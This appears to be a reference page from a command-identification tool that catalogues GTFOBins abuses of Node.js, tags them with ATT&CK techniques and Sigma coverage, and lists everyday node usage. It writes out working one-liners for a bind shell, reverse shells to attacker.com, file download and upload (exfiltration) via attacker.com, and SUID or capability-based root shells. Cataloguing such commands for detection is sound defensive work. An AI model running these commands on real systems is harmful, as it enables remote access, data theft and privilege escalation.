Identifier / Programs / Linux and Unix
node
Server-side JavaScript platform (Node.js). tldr-pages
GTFOBins bind-shell, download, file-read, file-write, reverse-shell, shell, upload 1 Sigma rule name it 2 ATT&CK techniques 7 documented commands
How node is abused
bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-edownload T1105 Ingress Tool Transfer
-efile-read
-efile-write
-ereverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell
-eshell T1059.004 Command and Scripting Interpreter: Unix Shell
-eupload
-eEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for node.
7 documented commands
bind-shell unprivileged, with sudo, as SUID
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}).listen(12345)'IdentifyAs SUID:
node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
}).listen(12345)'
download unprivileged, with sudo, as SUID
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'Identifyfile-read unprivileged, with sudo, as SUID
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'Identifyfile-write unprivileged, with sudo, as SUID
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'Identifyreverse-shell unprivileged, with sudo, as SUID
node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})'IdentifyAs SUID:
node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
this.pipe(sh.stdin);
sh.stdout.pipe(this);
sh.stderr.pipe(this);
})'
shell unprivileged, with sudo, as SUID, with capabilities
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'IdentifyAs SUID:
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'With capabilities:
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
upload unprivileged, with sudo, as SUID
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'IdentifyNone of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for node. The identifier reads the line of each that runs node.
What detects it
Everyday use
Run a JavaScript file
node path/to/fileIdentifyStart a REPL (interactive shell)
nodeIdentifyExecute the specified file restarting the process when an imported file is changed (requires Node.js version 18.11+)
node --watch path/to/fileIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.